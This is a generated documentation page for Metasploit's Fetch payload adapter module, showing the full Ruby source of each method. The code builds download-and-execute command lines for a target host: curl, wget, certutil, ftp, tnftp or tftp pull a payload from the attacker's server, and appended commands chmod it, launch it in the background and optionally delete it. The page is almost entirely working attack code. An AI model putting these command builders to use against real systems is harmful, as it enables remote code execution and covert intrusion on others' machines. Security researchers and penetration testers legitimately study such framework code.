Module: Msf::Payload::Adapter::Fetch

Included in:
HTTP, Https, SMB, TFTP
Defined in:
lib/msf/core/payload/adapter/fetch.rb

Defined Under Namespace

Modules: HTTP, Https, LinuxOptions, SMB, TFTP, WindowsOptions

Instance Method Summary collapse

Instance Method Details

#_check_tftp_file ⇒ Object 



163
164
165
166
167
168
169
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 163

def _check_tftp_file
  # Older Linux tftp clients do not support saving the file under a different name
  unless datastore['FETCH_WRITABLE_DIR'].blank? && datastore['FETCH_FILENAME'].blank?
    print_error('The Linux TFTP client does not support saving a file under a different name than the URI.')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client')
  end
end

#_check_tftp_port ⇒ Object 



155
156
157
158
159
160
161
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 155

def _check_tftp_port
  # Most tftp clients do not have configurable ports
  if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank?
    print_error('The TFTP client can only connect to port 69; to start the server on a different port use FetchListenerBindPort and redirect the connection.')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVPORT must be set to 69 when using the tftp client')
  end
end

#_determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s) ⇒ Object

copied from github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/socket_server.rb



172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 172

def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s)
  comm = nil

  case srv_comm
  when 'local'
    comm = ::Rex::Socket::Comm::Local
  when /\A-?[0-9]+\Z/
    comm = framework.sessions.get(srv_comm.to_i)
    raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
    raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
  when nil, ''
    unless ip.nil?
      comm = Rex::Socket::SwitchBoard.best_comm(ip)
    end
  else
    raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid")
  end

  comm || ::Rex::Socket::Comm::Local
end

#_execute_add ⇒ Object 



193
194
195
196
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 193

def _execute_add
  return _execute_win if windows?
  return _execute_nix
end

#_execute_nix ⇒ Object 



204
205
206
207
208
209
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 204

def _execute_nix
  cmds = ";chmod +x #{_remote_destination_nix}"
  cmds << ";#{_remote_destination_nix}&"
  cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
  cmds
end

#_execute_win ⇒ Object 



198
199
200
201
202
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 198

def _execute_win
  cmds = " & start /B #{_remote_destination_win}"
  cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE']
  cmds
end

#_generate_certutil_command ⇒ Object 



211
212
213
214
215
216
217
218
219
220
221
222
223
224
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 211

def _generate_certutil_command
  case fetch_protocol
  when 'HTTP'
    cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}"
  when 'HTTPS'
    # I don't think there is a way to disable cert check in certutil....
    print_error('CERTUTIL binary does not support insecure mode')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL')
    cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  cmd + _execute_add
end

#_generate_curl_command ⇒ Object 



226
227
228
229
230
231
232
233
234
235
236
237
238
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 226

def _generate_curl_command
  case fetch_protocol
  when 'HTTP'
    cmd = "curl -so #{_remote_destination} http://#{download_uri}"
  when 'HTTPS'
    cmd = "curl -sko #{_remote_destination} https://#{download_uri}"
  when 'TFTP'
    cmd = "curl -so #{_remote_destination} tftp://#{download_uri}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  cmd + _execute_add
end

#_generate_ftp_command ⇒ Object 



240
241
242
243
244
245
246
247
248
249
250
251
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 240

def _generate_ftp_command
  case fetch_protocol
  when 'FTP'
    cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
  when 'HTTP'
    cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
  when 'HTTPS'
    cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
end

#_generate_tftp_command ⇒ Object 



253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 253

def _generate_tftp_command
  _check_tftp_port
  case fetch_protocol
  when 'TFTP'
    if windows?
      cmd = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}"
    else
      _check_tftp_file
      cmd = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
    end
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  cmd
end

#_generate_tnftp_command ⇒ Object 



269
270
271
272
273
274
275
276
277
278
279
280
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 269

def _generate_tnftp_command
  case fetch_protocol
  when 'FTP'
    cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
  when 'HTTP'
    cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
  when 'HTTPS'
    cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
end

#_generate_wget_command ⇒ Object 



282
283
284
285
286
287
288
289
290
291
292
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 282

def _generate_wget_command
  case fetch_protocol
  when 'HTTPS'
    cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}"
  when 'HTTP'
    cmd = "wget -qO #{_remote_destination} http://#{download_uri}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  cmd + _execute_add
end

#_remote_destination ⇒ Object 



294
295
296
297
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 294

def _remote_destination
  return _remote_destination_win if windows?
  return _remote_destination_nix
end

#_remote_destination_nix ⇒ Object 



299
300
301
302
303
304
305
306
307
308
309
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 299

def _remote_destination_nix
  return @remote_destination_nix unless @remote_destination_nix.nil?
  writable_dir = datastore['FETCH_WRITABLE_DIR']
  writable_dir = '.' if writable_dir.blank?
  writable_dir += '/' unless writable_dir[-1] == '/'
  payload_filename = datastore['FETCH_FILENAME']
  payload_filename = srvuri if payload_filename.blank?
  payload_path = writable_dir + payload_filename
  @remote_destination_nix = payload_path
  @remote_destination_nix
end

#_remote_destination_win ⇒ Object 



311
312
313
314
315
316
317
318
319
320
321
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 311

def _remote_destination_win
  return @remote_destination_win unless @remote_destination_win.nil?
  writable_dir = datastore['FETCH_WRITABLE_DIR']
  writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\'
  payload_filename = datastore['FETCH_FILENAME']
  payload_filename = srvuri if payload_filename.blank?
  payload_path = writable_dir + payload_filename
  payload_path = payload_path + '.exe' unless payload_path[-4..-1] == '.exe'
  @remote_destination_win = payload_path
  @remote_destination_win
end

#default_srvuri ⇒ Object

If no fetch URL is provided, we generate one based off the underlying payload data This is because if we use a randomly-generated URI, the URI generated by venom and Framework will not match. This way, we can build a payload in venom and a listener in Framework, and if the underlying payload type/host/port are the same, the URI will be, too.



38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 38

def default_srvuri
  # If we're in framework, payload is in datastore; msfvenom has it in refname
  payload_name = datastore['payload'] ||= refname
  decoded_uri = payload_name.dup
  # there may be no transport, so leave the connection string off if that's the case
  netloc = ''
  if module_info['ConnectionType'].upcase == 'REVERSE' || module_info['ConnectionType'].upcase == 'TUNNEL'
    netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
    unless datastore['LPORT'].blank?
      if Rex::Socket.is_ipv6?(netloc)
        netloc = "[#{netloc}]:#{datastore['LPORT']}"
      else
        netloc = "#{netloc}:#{datastore['LPORT']}"
      end
    end
  elsif module_info['ConnectionType'].upcase == 'BIND'
    netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
    unless datastore['RPORT'].blank?
      if Rex::Socket.is_ipv6?(netloc)
        netloc = "[#{netloc}]:#{datastore['RPORT']}"
      else
        netloc = "#{netloc}:#{datastore['RPORT']}"
      end
    end
  end
  decoded_uri << ";#{netloc}"
  Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false)
end

#download_uri ⇒ Object 



67
68
69
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 67

def download_uri
  "#{srvnetloc}/#{srvuri}"
end

#fetch_bindhost ⇒ Object 



71
72
73
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 71

def fetch_bindhost
  datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress']
end

#fetch_bindnetloc ⇒ Object 



79
80
81
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 79

def fetch_bindnetloc
  Rex::Socket.to_authority(fetch_bindhost, fetch_bindport)
end

#fetch_bindport ⇒ Object 



75
76
77
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 75

def fetch_bindport
  datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort']
end

#generate(opts = {}) ⇒ Object 



83
84
85
86
87
88
89
90
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 83

def generate(opts = {})
  opts[:arch] ||= module_info['AdaptedArch']
  opts[:code] = super
  @srvexe = generate_payload_exe(opts)
  cmd = generate_fetch_commands
  vprint_status("Command to run on remote host: #{cmd}")
  cmd
end

#generate_fetch_commands ⇒ Object 



92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 92

def generate_fetch_commands
  # TODO: Make a check method that determines if we support a platform/server/command combination
  #
  case datastore['FETCH_COMMAND'].upcase
  when 'FTP'
    return _generate_ftp_command
  when 'TNFTP'
    return _generate_tnftp_command
  when 'WGET'
    return _generate_wget_command
  when 'CURL'
    return _generate_curl_command
  when 'TFTP'
    return _generate_tftp_command
  when 'CERTUTIL'
    return _generate_certutil_command
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
end

#generate_payload_uuid(conf = {}) ⇒ Object 



118
119
120
121
122
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 118

def generate_payload_uuid(conf = {})
  conf[:arch] ||= module_info['AdaptedArch']
  conf[:platform] ||= module_info['AdaptedPlatform']
  super
end

#generate_stage(opts = {}) ⇒ Object 



113
114
115
116
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 113

def generate_stage(opts = {})
  opts[:arch] ||= module_info['AdaptedArch']
  super
end

#handle_connection(conn, opts = {}) ⇒ Object 



124
125
126
127
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 124

def handle_connection(conn, opts = {})
  opts[:arch] ||= module_info['AdaptedArch']
  super
end

#initialize(*args) ⇒ Object 



3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 3

def initialize(*args)
  super
  register_options(
    [
      Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
      Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: /^[^\s\/\\]*$/),
      Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
      # FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set
      Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']),
      Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']),
      Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', ''], regex:/^[\S]*$/)
    ]
  )
  register_advanced_options(
    [
      Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']),
      Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']),
      Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false])
    ]
  )
  @delete_resource = true
  @fetch_service = nil
  @myresources = []
  @srvexe = ''
  @remote_destination_win = nil
  @remote_destination_nix = nil
  @windows = nil
end

#srvhost ⇒ Object 



129
130
131
132
133
134
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 129

def srvhost
  host = datastore['FETCH_SRVHOST']
  host = datastore['LHOST'] if host.blank?
  host = '127.127.127.127' if host.blank?
  host
end

#srvnetloc ⇒ Object 



136
137
138
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 136

def srvnetloc
  Rex::Socket.to_authority(srvhost, srvport)
end

#srvport ⇒ Object 



140
141
142
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 140

def srvport
  datastore['FETCH_SRVPORT']
end

#srvuri ⇒ Object 



144
145
146
147
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 144

def srvuri
  return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank?
  default_srvuri
end

#windows? ⇒ Boolean

Returns:

  • (Boolean) 


149
150
151
152
153
 
# File 'lib/msf/core/payload/adapter/fetch.rb', line 149

def windows?
  return @windows unless @windows.nil?
  @windows = platform.platforms.first == Msf::Module::Platform::Windows
  @windows
end